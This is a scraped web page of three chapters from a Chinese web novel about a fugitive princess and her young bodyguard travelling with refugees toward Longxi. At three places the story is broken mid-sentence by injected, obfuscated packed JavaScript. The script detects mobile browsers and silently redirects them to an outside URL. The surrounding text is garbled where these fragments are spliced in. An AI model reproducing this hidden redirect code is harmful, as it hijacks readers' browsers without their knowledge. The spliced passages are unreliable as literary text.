RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李眠玉见此时外面也只是有雨声,便松了口气,又被鱼肉香气吸引,一下接了过来。 可她对着插在树枝上的鱼却无从下手,呆看了一会儿,看向燕寔。 燕寔正吃饼子,敏锐察觉到李眠玉的视线,抬眼看到她拿着条鱼呆看自己。 “我不会剔骨……”李眠玉小声。 燕寔没做声,接了过来,将鱼放到方才放桑葚的芭蕉叶上,从包袱里拿出两根金簪,替李眠玉利落地剔了骨,递过去。 李眠玉:“……” 她从未想过自己的金簪还能剔鱼骨。 吃过鱼和饼子,外面的雨还是不见小,燕寔站在门口看了外面的暴雨许久,又看路上的积水,渐渐眉心皱起。 天色已彻底黑了下来,今夜他们要在此过夜,破庙里有多处漏水,只有他们烤火的地方不漏雨,燕寔收拾了一番,将马也牵了进来在另一边栓好,在地上垫了件衣服,示意李眠玉睡。 除了那次燕寔受伤,她以地为席为,李眠玉从没在地上睡过,她有几分别扭地躺了下来,却哪里都不舒服。 没有枕头,没有柔软的被褥,什么都没有。 她侧过身,看着燕寔靠在一旁的墙上,双手环胸,黑眸紧闭,俨然睡着了的样子,她皱紧了眉,拿脚碰了碰他:“燕寔!” 燕寔睁开眼朝她看去。 “我睡不着。”李眠玉瘪了一下嘴,委屈低落的声音,“腰酸背痛,地上这样硬还冷。” 燕寔坐直了身体,漆黑的眼睛看着她。 李眠玉忸怩了一会儿,但她转念一想,这是皇祖父给她的暗卫,她是公主,想怎么用就怎么样,于是她说:“你在旁边躺下来。” 燕寔没问为什么,在李眠玉身边平躺下来。 李眠玉抓过他的手臂枕在头下,又贴近了燕寔温热的身体,地上似乎也没那样凉了,舒服了许多,她闭上眼睛,心想,怪不得皇祖父要养暗卫,出门在外,暗卫真的好有用! 她想了想,又睁开眼看向燕寔,郑重道:“等日后我寻到皇祖父,就把你正式要到我身边,到时换我养你。” 9.第9章 庙外雨声潺潺,庙里柴火噼啪。 李眠玉的声音清脆,带着糖果融化后的绵甜,燕寔也睁着眼,偏头看了一眼怀里的人,半晌后哦了一声。 竟是这样平淡的语气!李眠玉皱了眉,忍不住手撑着燕寔胸口半直起身子,对他重重道:“我,李眠玉,大周宁国公主,要养你。” 燕寔看着她,还没点头或是开口,李眠玉就又红了眼睛,“我有食邑五百户,自是能养得起你一个暗卫……你是不是觉得如今大周被贼子占了,我就不是公主了,所以你不把我的话当回事?皇祖父定是逃出去了,等皇祖父集结兵马,定是能很快夺回京都,大周还是大周,我还是公主,我能养得起你!” 她心思敏感,声音委屈又恼怒,眼里含泪,她扬着下巴,即便落魄,依旧是公主。 她瞪着燕寔,俨然若是他说出她不爱听的话,她便要叫他好看! 少年依旧看着她,漆黑的眼盯着她, “好,我等公主养我。” 李眠玉看看他,确定他没有敷衍,心头的恼怒才熄灭了,重新躺了下来,轻哼一声,“就算你能吃,但我有食邑五百户,我能一直给你养老送终。” “……好。” 李眠玉其实不知皇祖父是怎么养暗卫的,但这么能干的暗卫,一直养到他死想来也不亏。 寡言的少年眨了眨眼,闭上了眼,半晌后,忍不住很短促地笑了一下。 但李眠玉没看到,她已是舒服地靠着她的暗卫睡熟了过去。 -- 下半夜时,燕寔忽然睁眼醒来,低头看了一眼怀里几乎将四肢都扒在他身上的李眠玉。 睡梦里,她的眼睛红红的,不知梦到什么,正小声抽泣着,嘴里喊着:“皇祖父……皇祖父……” 燕寔没动,躺下时什么样,如今依旧怎么样,只睁着眼安静听着李眠玉说梦话,听着她口中的人从“皇祖父”到“青铃姑姑”再到“崔云祈”。 许是李眠玉梦到未婚夫,许是她的未婚夫在梦中抚慰她,她终于渐渐止了抽噎,重新静了下来,恍若一切没有发生过。 只有燕寔胸口留下的一摊潮湿的眼泪似在诉说着什么。 燕寔偏头看向破庙外,漆黑的眼映着那些阴沉沉的延绵不绝的雨,他的视线再往庙门口看去,混着泥浆的雨水已经离门槛不过四五寸,他眉头再次一拧。 他稍稍动了一下,打算起身出去看看,可他一动,睡梦中的李眠玉便皱眉哼了一下,缠绕在燕寔身上的手脚都更用力了一些。 少年暗卫看一眼怀里的人,幽幽叹了口气。 他调转了视线,去看外面的雨。 -- 李眠玉这一觉睡得很好,睁眼时神清气爽,隐约记得昨夜里似乎梦到了什么,可她努力想了想,却什么都记不清了。 她想起身,却发现自己手脚不知什么时候全架在了她的暗卫身上,稍稍面红了一下,抬头偷看了燕寔一眼。 燕寔闭着眼还没醒来,她就想悄悄把手脚收回来,可膝盖却蹭到什么,硬邦邦的。 李眠玉顿了一下,奇怪地看向燕寔腰下,不知他为何睡觉还要在腰间衣摆下放一根棍子。 她想起燕寔那把可缠绕在腰间的软剑,好奇他这根棍子又是什么样的,便伸手想拿出来看,可她的手还没碰到,手腕便被少年粗硬布满茧子的手握住。 李眠玉一下有些吃了痛,抬起头时眉头蹙紧,恼道:“你干什么呀?” 可少年暗卫几乎在捏住她手腕的下一瞬便松开了手,并立即坐了起来,李眠玉是靠在他怀里的,因此也被带着坐了起来。 两人挨蹭得很近。 燕寔低头整理衣摆,不吭声,只呼吸重了一些,李眠玉不满地凑过去,伸出自己被捏红的手腕再次质问他,“我不过是想看看你的棍子,你反应这样大做什么?” 她的声音带着刚睡醒的惺忪和嗔怒。 燕寔抬头看她,李眠玉正瞪着他呢,一下捕捉到他的视线。 少年显然是清醒的,只是眼睛和猫儿一样微微睁大,明润漆黑的眼底竟是有些无措,前两日一直有些苍白的脸此时也有些不寻常的红。 李眠玉怔了一下,忽然想起来他身上的伤,那恼怒又散去了大半,担心地问:“你不会又发烧了吧?” 燕寔:“没有。”他的声音带一点沙哑,语气与往常的平静有些不同,竟是有些气喘。 说罢,他手撑着地微微侧过身,腰一挺便起身了,轻盈矫健。 李眠玉失去倚靠,差点摔到地上,堪堪撑住了身体,又恼看向她的暗卫。 少年已经几步踱至破庙门口,他背对着她站在那儿,李眠玉的目光本是落在他身上的,可她不自觉又被外面吸引。 天依旧灰蒙蒙的,雨依旧淅淅沥沥下,再看门槛那儿竟是潮湿一片,泥水已经开始漫进来。 李眠玉一下从地上爬起来,也朝着门口过去。 她一过去,燕寔便迅速悄悄往旁边半侧过身体,但李眠玉专注看着外面,没察觉到,她捂着胸口惊呼:“燕寔,我们今日还能走吗?” 大雨彻底将整个世界变得灰暗,外面的路已经被泥浆混着水淹没,根本不能行路。 燕寔没有立即回她,可李眠玉早就习惯她的暗卫闷声不吭的性子,也没多想,她满脸愁绪地看着外面,双手交握在一起,“追我的人也会被大雨拦截,对吧?而且我衣服都丢进茅房了,他们再难追踪的,对吧?” 空气里依然没有少年暗卫回应,只有不远处的马儿响鼻哼声。 李眠玉终于忍不住看他,秀气的眉拢起。 燕寔也刚好在此时转过身看她,他本就生得凌厉又俊俏,这会儿用一双漆黑静幽的眼睛直直看着李眠玉,李眠玉一下被唬住了,都忘记刚才要说什么了。 “我的棍子,公主不能碰。”少年开口了,却是一板一眼,极为严肃。 燕寔神色平静,但李眠玉莫名觉得他脸有些黑,她正要恼问为什么他的棍子她不能碰,她是公主,他是她的暗卫,她有什么不能碰的? 但余光看到外面如瀑大雨,想到还要靠他赶路,又想到燕寔力气那样大,他不愿意让她碰,她本来也很难碰得到。 她堂堂公主,此时竟是真的不敢和他硬碰硬! 李眠玉郁闷得很,“谁想碰了!” 燕寔没吭声。 李眠玉也双手抱胸不说话了。 过了一会儿,燕寔说:“雨太大了,山上易有泥石滑落,不安全,等雨停再走。” 少年声音已是恢复了平静。 李眠玉却不想搭理他了,扭头往里走,一屁股在蒲团上坐下了。 燕寔默默也回身,去马背上取了只水囊下来,那是黑马上本身悬挂的上一任主人留下的,里面的水是满的,他蹲下来递给李眠玉。 “不知是谁喝过的,我为何要拾人余唾?我才不喝。”李眠玉皱了眉,偏头避开,除了这个,她还怕自己要频繁更衣。 燕寔看看她,没多说什么,解开水囊凌空往嘴里倒了些水喝,便将玉米饼拿出几个来烤,等他将烤好的玉米饼再递给李眠玉时,她没有拒绝,只是依旧不理他,只低头小口小口咬着。 李眠玉在赌气,她气鼓鼓的,觉得她的暗卫说黑脸就黑脸,实在是没把她这个公主放在眼里。 不就是一根棍子! 李眠玉不说话,燕寔更不会说话,两人之间静悄悄的。 临近午时,这场雨终于停了,只天色还灰蒙蒙的。 燕寔看了看外面,回头看了一眼还鼓着脸的李眠玉,低声:“公主,等出了太阳我们就走。” 李眠玉其实只气了一会儿,便又失落下来,只觉得还是她这个公主如今没有威严了,燕寔才敢拒绝她碰他的棍子。 此刻听到他的话,也只是有气无力点了头,不敢在此处多停留。 李眠玉自小受宠,心里不藏事,想着什么,脸上就是什么,很好懂。 燕寔看她一眼,低头想了想,耳朵红了,还是偏过了头,什么都没说。 蔽日的乌云很快散去,光照大地,地上的水半个多时辰后也退去些,燕寔走到马旁,翻了翻马背上那只包袱,意外找出些纸,想了想抽出几张来拿给李眠玉。 李眠玉莫名,仰头看他。 燕寔牵着马往外去,“公主,我们该走了。” 他说罢便很快走去了外面,离了门口几步远。 李眠玉在蒲团上顿了顿,低头看了看手里的纸,很快脸便红了起来,意会到了他的意思,回头看了看这破庙里面。 等她再出来时,脸依然是红的,但理直气壮对燕寔伸出了十指,燕寔无声拿起水囊,供她洗手。 李眠玉仰头看看少年垂下的眼睫,终于决定公主不记暗卫过,语气自然说:“现在走?” 燕寔听到她主动出声,竟是松了口气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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燕寔挽着袖子蹲在上游的溪水旁清洗水囊,再是往里灌水。 李眠玉很满意,心道,他才不是她兄长,他是她的暗卫。 算了,就给他长点脸好了,她娇矜地点头:“还成。” “你不知我家那小子,可是从不让他妹妹的,如今也不知在何处,当时说过让他们回老家去。”说话的妇人是京郊的田庄里逃难出来的,叫陈绣娥,和丈夫二人本是大户人家佃户,主人家糟了难,他们逃出来往老家回,昨日半路上遇到泥石流,恰被燕寔救了,同行了一天。 这会儿她说着,情绪也有些低落,眼眶微红。 李眠玉最见不得人哭,一时有些无措,忙将手里燕寔给她摘的李子递过去,“你吃点儿这个吧,甜。” 陈绣娥眼眶还红着呢,这会儿一下笑了,推拒了,道:“你兄长特地给你摘的,我瞧着个个都是红的,定是精挑细选出来的。” 李眠玉硬是放到了她手里,“吃吧,他还会给我摘的。” 陈绣娥拿着果子,看李眠玉生得玉雪玲珑,瞧着就让人生喜,忍不住问:“你与你兄长要到何处去?” 李眠玉也不知道,她到了外面完全不识路,离了京后,又天灾,燕寔秉持着皇祖父的吩咐,大半月了,选的都是安全的路,避开了城池,也尽量避开大群的流民,但总三三两两随着几个流民一路走到这里。 不知是否烧了宫中衣物的关系,追兵一直不曾追来……也没见到崔云祈来寻她。 她迟疑着说:“我与阿兄……家中糟了难,还不知要去哪里。” 陈绣娥瞧着李眠玉和燕寔这般的美貌与姿态,本就揣测是京中落难的贵女与公子,此刻也不意外,她热情道:“那不如与我一道回我家乡,在陇西的一处山里的小村,靠着山水,能自给自足。” 李眠玉听着觉得不错,对妇人所说的地方有些好奇,心里已经想应下了,可她想了想,表面上还是要说:“我要问问我阿兄。” 陈绣娥理所当然点了点头,随后又有些忧愁地看着周围山林,“如今天灾,听说山里野兽夜里饿得出来伤人,不知今晚我们在这过夜可否有危险。” 李眠玉一听,略微矜持一下,说:“不必担忧,我阿兄厉害得很,有他在,没有野兽敢靠近我……们。” 陈绣娥看着不远处缓缓走来的清瘦少年,又看看另外一边捕鱼的身形有两个少年粗壮的丈夫,自然没怎么信李眠玉的话,笑说:“你阿兄这般瘦,手里也没有武器,到时若是真遇上那般情况,便与我一起躲远些,我丈夫手里有铁楸,力壮如牛,能替我们抵御住。” 李眠玉皱了眉,听不得这样的话,立即说:“我阿兄也有武器,他腰间那根腰带实则是一把软剑,他还有一把棍子,两把武器,能以一敌十。” 提着鱼回来的燕寔:“……” 10.第10章 夕阳西斜,少女语态认真。 陈绣娥也是大户人家的佃户,虽一直在田中做活,但也是听说过贵人家的公子自小练习骑射,身姿矫健,所以此时听罢李眠玉的话,立刻也信了半成,另外半成则还是觉得燕寔身形清瘦,比不过自己丈夫健壮。 但她明白在小玉心里自是自己兄长最厉害,便笑着点头,“那今夜里我们可以睡个好觉了。” 李眠玉心中舒服了,点点头,十分骄傲:“自然。” 燕寔在一旁默默蹲了下来,点起火堆,将两条鱼架上去烤,随后在李眠玉身边坐下,将水囊递给她。 李眠玉挺直了脊背,伸出纤纤玉手去接,因为心中舒畅,唇角还抿着笑。 陈绣娥在一旁看着小女郎下巴微抬骄傲的作态,忍不住掩嘴笑,正好丈夫也回来了,便也往自己火堆旁坐。 李眠玉余光见那妇人坐远了一些,便朝燕寔偏头凑过去一些,“你下回把剑和棍子一起亮出来,给那妇人瞧瞧厉害!” 燕寔:“……” 李眠玉此时就像是献宝的心情,恨不得让陈绣娥好好看看燕寔的武功,说罢,两只眼便直勾勾盯着燕寔。 “棍子……” “不给碰还不能看吗?”李眠玉就知道,不等他话说完便打断他,眉头都皱起来了。 少年垂着眼给鱼翻了个面,半晌后还是板着脸点头,看着她道:“此为秘密武器,不能亮出来。” 李眠玉很是失落,小声嘟囔燕寔小气,但她情绪来得快去得也快,心想反正遇到危险,燕寔定能让那妇人大开眼界! 她又说:“陇西安不安全啊?若是那儿安全,我们便和陈娘子一道去她家那儿的山村吧,方才我与她说好了。” 陇西乃重镇,枢要之地,西往河西,东走关中腹地,向南为蜀汉平原,还有陇山挡去关中平原,兵家必争之地。确有山水,但风土人情与京都截然不同,睡得是土炕,吃的是面食。 离这儿也不远了。 燕寔看向李眠玉,李眠玉妙目正期盼望他,他点头。 这一路上都是燕寔辨别方向,决定去何处,近日李眠玉自己做了决定,她有些高兴,将手里剩下的一只李子塞给燕寔,“你吃吧。” 公主欢心了,自要赏赐得力的属下。 虽然那是燕寔去摘的。 燕寔接了过来。 鱼烤好后,燕寔拿出两根削好的竹筷给李眠玉剔好骨放在一块捡来的洗净的石板上,又拿出干粮替她撕碎了一些放在鱼肉旁,便自行解决了剩下的。 陈绣娥余光看到这一幕,实在觉得那小女郎养得娇,都这般地步了,还如此讲究呢! 她又看看一旁垂眸安静吃干粮的少年,唇红齿白,眉目俊俏,身形又挺拔如竹,还如此会照顾人,瞧着十七八岁……也不知兄妹两说了亲没有。 李眠玉用过饭,要去小溪边洗手洗脸,还转头问陈绣娥:“陈娘子要一起吗?” 陈绣娥是个农妇,没那些个讲究,实在是见她玉雪可爱,穿着身粗布男装也掩不住的娇俏,忍不住也起身一道过去。 燕寔在后面看了看,将鱼骨等物收拾好,稍稍拿远些丢掉,回来时看到陈绣娥的丈夫朱大城在摘野花,他站住脚看了看。 朱大城生得高壮,人像一座小山一样,方形脸,生得周正,三十来岁的模样,下巴上的短须令他瞧着很有些凶悍。 可他此时他那只蒲扇大手却在小心翼翼摘路边小花。 朱大城见燕寔看过来,脸上露出憨厚一笑,“我家婆娘这些日子心情一直不好,我瞧这儿的花开得好,摘了些给她编花环,让她高兴些。” 燕寔偏头看了眼不远处的李眠玉,没做声,但朝野花丛走了过去。 朱大城立即笑容更甚了一些,“对,你妹妹定也喜欢!” 妹妹……? 燕寔没做声。 没有澡豆,李眠玉洗手洗得极为细致,洗脸时低头轻轻把水往脸上掬,陈绣娥洗完手偏头时,看到的便是晶莹的水珠在小女郎脸上闪闪发光的模样,灵秀可人,忍不住感慨:“还好这一路有你兄长,否则小玉这般美貌,独身一人便要遇到那些个贼子了。” 李眠玉点头,是皇祖父疼她,把这样能干的暗卫拨给她用。 陈绣娥还想问问他们兄妹说亲了没有,可想想这一路还在逃难,说这些闲话实在多余了些,便没有问。 李眠玉却是开口了:“我阿兄也同意跟着陈娘子一道去陇西了。” 陈绣娥一听,很是高兴,热心地拉着李眠玉说了许多陈家村的事,说得手舞足蹈,“我离开家时才十三,如今都已经过去二十年了,也不知家中如今境况如何,陈家村藏在山坳里,应当外面的事波及不到里面。我还有两个兄长,我离家时大哥刚成亲半年,二哥比我大一岁,我离家时追着我跑了三里地,如今也该儿女齐全了。” 李眠玉好奇:“为什么要离家?因为成亲吗?” 妇人摇头,回忆了一下,又笑:“我娘病了,家里的银钱都花完了,听说隔壁村有牙婆来,我便把自己卖了给我娘换点银钱治病,后来运气好,我原来的主家给田庄买些下人,我从小干农活,便把我挑去了,后来就和我家那口子成了亲,一待就快二十年。” “你原来的主家是哪家呀?”李眠玉听罢,随口问道。 陈绣娥说:“京都崔家。” 李眠玉惊呼一声,一下捂住胸口,声音都有些发颤:“崔家?哪个崔家?” 陈绣娥与有荣焉,说:“我家主子是相爷,不过我和我家那口子一直在田庄做活,没见过相爷……小玉,你们兄妹莫非认识我家主子?” 李眠玉张了张嘴,想说崔相爷的长子,京都第一公子崔云祈是她未婚夫,可她转念又一想,她与崔云祈的婚事早已昭告天下,她若说了,岂不是就要被人知晓她是宁国公主了? 她缓缓摇头,“我就是好奇,听说崔家长公子生得如月如仙,温润清雅,我很想看看呢!” 陈绣娥笑了,没多想,这般小女儿心态很寻常,她说:“我家公子确实人中龙凤,不过我也没见过呢!” 李眠玉心里如猫爪挠着一般,好不容易忍耐住情绪,低着头着急又小声又问:“你方才说崔家遭难了?” 陈绣娥点头,又摇摇头,“我也不知,只知道遭难了,那日有军队进来田庄,我家那口子力气大反应快,带着我从后门赶紧逃了。” 李眠玉一下心里慌了,眼眶一酸,便低下了头遮掩,“这样啊。” 她嘴里嘟囔着天热,又低头弯腰掬了两把溪水洗脸,再抬起脸时,一张脸都湿漉漉的,“我去看看我阿兄收拾好没。” 李眠玉把脸弄得湿漉漉的,可眼角红着,却藏不住多少情绪。 陈绣娥看惯了人脸色,瞧出点什么来,毕竟这京中贵族姻亲多,多少能攀上点亲,但她假意什么都没看到,点点头,“我再洗会儿,水凉着正舒服呢!” 李眠玉站起身往回走。 她低着头没看路,燕寔就站在树旁,她硬邦邦就撞了过去,撞得鼻子痛,抬起头时,眼泪更如泉涌了,一串一串往下流,伤心欲绝的模样,“你长这么硬做什么?” 燕寔:“……” 李眠玉两只盈满泪的眼睛看着燕寔,忽然道:“崔家出事了,崔云祈会不会被那北狄贼子杀死了?” 燕寔一时有些茫然,皱眉低问:“崔家出事了?” 李眠玉泪眼模糊,点点头,小声把方才陈绣娥与她说的说给他听,她抬手抓住燕寔袖子,“一定是崔家宁死不屈不肯投降负隅顽抗便被北狄贼子杀鸡儆猴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046749|178322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了!”她说着,声音都哽咽了。 燕寔看了一眼还在溪水边的妇人,声音平静:“陈绣娥不过是一个田庄的农妇,军队能去农庄寻人,显然是在京中寻不到人。” 李眠玉哭得鼻子都堵住了,听到少年暗卫的话抽噎一停,仔细一想,脸上神情松懈下来,“真的?” “真的。” 李眠玉听到燕寔沉稳平淡的语气,才是稍稍安下心来,吸了吸鼻子,点点头,还是看着他,“那崔云祈也不会死吧?” 燕寔点头。 李眠玉感觉自己活了过来,低下头抓起燕寔袖子就擦了擦眼泪,她一抓他袖子,便看到了他手心里的花环,立刻被吸引了注意,轻呼声:“呀!哪来儿的?” 她不等燕寔回答,迫不及待拿起来便往头上戴,她已经许久没有戴过首饰了,花环上小花粉的白的蓝的红的凑成一堆,鲜艳艳的,极是漂亮。 “好看吗?”李眠玉眼里还包着泪,却眸光亮晶晶地看着燕寔,顾盼生辉。 少年暗卫看着她,低低道:“好看。” 李眠玉便抿起唇角,破涕为笑,笑得娇矜,唇角旋出个个小梨涡,又摸了摸头上花环,跑去溪水边左顾右盼。 天色渐暗,最后一缕夕阳余晖在少女脸上染上甜蜜的色泽。 燕寔靠在树旁,漆黑的眼静静看她,没一会儿低下头,摸了摸身侧的马。 随后他在离其他人稍远的树下在地上插了几根树枝形成三角,拿出包袱里的一块油布搭在上面,又将草地检查一番,拾去碎石子,再在草地上铺了另一块油布。 自从破庙离开后,两人时常野外过夜,李眠玉第一次睡在草地上时,不仅地上有碎石子硌得疼,还被蚊虫叮了许多包,委屈得半夜流泪,把燕寔胸口都浸湿了,第二天,燕寔便在途径一处驿站时,弄来两张油布。 弄完帐篷,燕寔顿了顿,去寻了根树枝,趁着李眠玉不注意削成一截木棍,插在腰间。 “燕寔!”李眠玉回来,声音都带着笑。 燕寔回身,她带着花环,小脸红扑扑的,“我真喜欢这个。”说完,她朝他招招手,“你弯腰。” 少年定定看她。 李眠玉命令他:“弯腰。” 燕寔弯腰。 李眠玉另一只手从背后拿出来,在燕寔耳朵上也别了朵红色小花,眸若清水,玉颜矜傲:“赏你的。” 说罢,她捂嘴一笑,带着花环钻进了简易的帐篷里。 一旁的几个流民在旁偷窥,却见少年目光平静地扫来一眼,明明年纪不大,身形看着也清瘦,那眉眼竟像是被刀剑淬炼过一般凌厉,众人竟是有肝胆俱碎之感,赶忙收回了视线。 燕寔直起腰,伸手摸了摸耳畔的花。 李眠玉一个人是不敢在外面睡的,哪怕是在“帐篷”里,她在里面又玩了会儿花环,小心在一旁放下,便往外探头,“燕寔?” 外面少年暗卫应了声,便弯腰钻了进去。 不远处,陈绣娥手里也摸着只花环,靠在朱大城怀里躺了下来,她看到李眠玉和燕寔一起进了搭起来的小帐篷,小声说:“兄妹二人同睡一个帐篷还是有些不大好。” 朱大城憨憨笑了两下,“你怎知道他们是亲兄妹,或许是定了亲的表兄妹呢!” 妇人倒是没想过,如今一想,竟恍然大悟! 李眠玉自是不知陈娘子所想,她等燕寔进来后,她便挨蹭过去,心情看起来是这几日最好的时候了,“方才我在溪边时忽然想到一事。” 她的语气甜蜜蜜的。 燕寔安静等着她继续往下说,润黑的眼望着她。 李眠玉仰头看他:“陇西节度使卢三忠是崔相的表姐夫,崔云祈与我说过的,你说崔家若是从京都逃了的话,会不会也去了陇西啊?” 11.第11章 天色已暗,少女眼底映着两簇火苗,她眼睛弯着,期待又欢喜。 燕寔稍顿,道:“兴许。” 李眠玉就等他这句话呢,当下便紧挨着他,眸光流转,道:“那等我们到了陇西在陈家村安顿下来,你就去节度使府打探一番,若是崔云祈在那儿,我要给他写信,要他来陈家村接我。” 这里面实际会遇上许多事,节度使府是否会收下来历不明的信?卢三忠得知宁国公主的下落是否会别有心思? 可李眠玉不考虑这些,在她心里,只要崔云祈在,她便觉得一切与从前没什么不同。 她是公主,而崔云祈是皇祖父昭告天下的她的驸马,他会为她解决一切问题。 燕寔看着她,点头,“好。” 李眠玉看着他忍不住笑,但她的目光很快飘远了去,她侧过脸看向小小帐篷外的天,安静了下来,侧脸娇憨却又典雅,袅袅娜娜,她很小声地说:“燕寔,我有些想崔云祈了。” 话到最后,她的尾音已经有些颤了。 燕寔也顺着她的目光看向外面。 夜色寂寥,弯月清冷,就像李眠玉此刻的心情,她有些委屈又有些埋怨地说:“我已经许久没见他了,从前我在宫中时,他每日都会写信给我,每隔几日就会进宫看我。” 燕寔不吭声,安静得似乎连呼吸的声音都没有。 李眠玉也不在意他,只是身体忍不住靠过去,声音细细的,眼睛里有晶莹在闪烁了,“我失踪这样久,崔云祈一定很担心,他极是喜欢我,当初可是他向皇祖父求我下降的呢!” 她的语气甜蜜娇俏,几分羞涩几分得意。 不知是否是陈绣娥提起崔家的原因,李眠玉想着崔云祈,不自觉便说了许多话。 她从崔云祈幼年事迹开始说起,又说到她与崔云祈如何相识。 “崔云祈三岁识字,五岁能吟诗,是远近闻名的神童,上知天文下知地理,尤擅数术,七岁便能助其母算账。” “崔云祈考中状元时入宫,我在皇祖父书房第一次见他,他穿着进士巾袍,帽上簪花,站在那儿唇红肤白,温润如玉,说话时慢声细语,我忍不住多看了他一眼……当然就一眼!他却一下子发现了我,脸腾得就红了,皇祖父还笑他呢!”少女声音含羞带喜。 “皇祖父甚是喜爱他,觉得他虽年纪小,但玉面玲珑心,破格留他在身边做了中书舍人,我经常能见到他……他每每见我都会与我说话,后来时常从外面带东西给我……燕寔!你在听吗?” 燕寔半垂着眼,昏昏欲睡。 李眠玉偶然一个偏头,看到她的暗卫眼睛都快闭上了,立刻不满,拔高了声音,手抓着他手臂晃了晃。 燕寔睁眼看她,她正鼓着脸瞪他:“我方才说了什么?” “……”少年没立即吭声,漆黑的眼在夜色下像两丸黑水银,火堆在旁边烧着,他的眼里便也映着一簇火光。 李眠玉触到这样的一双眼,顿了顿。 燕寔很快移开目光,说:“说了崔云祈三岁识字。” 李眠玉继续鼓着脸:“还有呢?” 燕寔从腰间拔出软剑,拿袖子轻轻擦了擦。 李眠玉不明所以,下意识凑过去看他的剑,“你忽然擦剑做什么?” 少年语气平淡:“我三岁习武,五岁会拳术,七岁能舞剑,十一岁会杀人。” 李眠玉:“……”她恍惚默然半晌,再开口时有些磕磕绊绊的,“那你、那你还挺厉害的。” 燕寔没吭声,但有默认的意思。 恍惚中,李眠玉满脑子燕寔十一岁就杀人,一下安静了下来,忘记了崔云祈一二三事迹。 静了会儿后她便觉得困了,揉了揉还包着一点泪的眼睛,她想喊燕寔躺下时,余光一闪,看到他腰间别着的棍子,立刻好奇低头去看。 待看清那棍子不过是平平无奇的一截木头时,她嘟哝声:“不就是一根普通的棍子,还不让我碰。” 燕寔低头,夜色下他的脸看不清楚,只看到他伸手从腰间拔出棍子递给李眠玉,“这个棍子可以碰。” 李眠玉没听出什么话外音,只一听燕寔又让她碰了,上回的不高兴一下子彻底没了,嘴角有些忍不住翘起,却十分矜傲道:“你不是不让我碰吗?我才不碰。” 燕寔将棍子又往她手里递,少年声音低低的:“这个可以碰。” 李眠玉又假意推拒了一番,心中高兴却一边还要故作勉强,强调再三:“是你求着我碰的。” 燕寔点头。 李眠玉这才接过那根短棍,纤细柔白的手指在上面摸了又摸,也没摸出什么门道来,便将棍子丢回他怀里,“睡时再不能放腰上了,硌得慌。” 燕寔没做声,但在李眠玉视线里将棍子放到了一边。 李眠玉舒心了,拍拍身侧,意思让燕寔先躺下来。 燕寔照做,胳膊自然地如之前一般横放着,李眠玉便躺了下来,枕在了燕寔肩上,舒服地闭上了眼睛。 如今李眠玉在野外也能很快睡熟过去,呼吸渐渐绵长,山林里的虫鸣蛙叫全当听不到。 燕寔垂头看了一眼,只能看到她卷翘的睫毛,安然的睡姿。 他很快收回视线,看向帐外的夜空,凝神听了会儿周围流民的动静,才缓缓闭上眼。 -- 翌日,李眠玉醒来时身旁已经没有燕寔的身影了,她不满地瘪了下嘴,自从那日被她摸到棍子,他总早早就起来,弄得她也总很快醒来。 从帐篷里出来时,她看到燕寔与朱大城正将马往板车上套。 板车是朱大城与陈绣娥的。 李眠玉没有立即凑过去看,而是去了溪水边,先用燕寔泡过的柳树枝熟练地细细洁了牙,漱了口,再是掬水洗脸,收拾了一番自己才是站起来。 回身时,就见燕寔已经过来到她身后,她自然地抽掉发带,放下一头浓黑的长发,再是背过身去。 燕寔站在她背后,挡去了四周窥视的流民视线,五指抓起她如缎的乌发,以手指梳了梳,才是束起头发。 然后她抬起脸看了一眼燕寔,燕寔默不作声,带着李眠玉去了林子里。 再出来时,李眠玉的脸还是忍不住红扑扑的。 去溪边洗完手后,她看到陈绣娥远远地朝他们摆手,燕寔低头告诉她:“朱大城早上去山林里寻了寻,找到些红薯,早上已是烤熟了,朝食便吃这个。” 如今的李眠玉已经知道红薯是什么了,她红着脸点点头。 “用过朝食便继续赶路。”燕寔又说。 李眠玉早晨时总是最羞涩的时候,娇矜点头。 燕寔看了她两眼,便别开脸。 待吃过后,一行人收拾了行李,燕寔扶着李眠玉坐上了板车。 她头一回坐,这板车不像马车平稳,四处也没遮挡,她有些紧张,拉着燕寔袖子不敢松开,陈绣娥坐上来后便抱着她笑,“别怕,这板车结实得很,摔不了。” 李眠玉迟疑了一下,松开了燕寔袖子,前面朱大城刚好牵着马动了一下,她在马车上一晃,又紧紧攥住燕寔袖子。 朱大城在前面憨笑着回头:“小燕,你也坐上去吧,这马肥壮得很,拉得动。” 燕寔迟疑了一下。 陈绣娥也笑说:“你们兄妹都上来,大城脚程好,让他一个人走,咱们都坐板车就行。”她语带骄傲。 李眠玉忍不住轻轻拽了拽燕寔袖子,眼巴巴看他。 燕寔没再犹豫,利落翻上去,轻盈地像猫一样落在李眠玉身旁,李眠玉一下靠过去抱住他胳膊,这才稍稍安心了。 陈绣娥见了这一对紧挨着的小儿女,抿嘴就笑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053905|178322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待朱大城开始拉着马赶路,昨夜里一同三三两两在此山林里歇息的流民张望着也要跟上来,燕寔抬起头,一双漆黑的眼凌厉扫去。 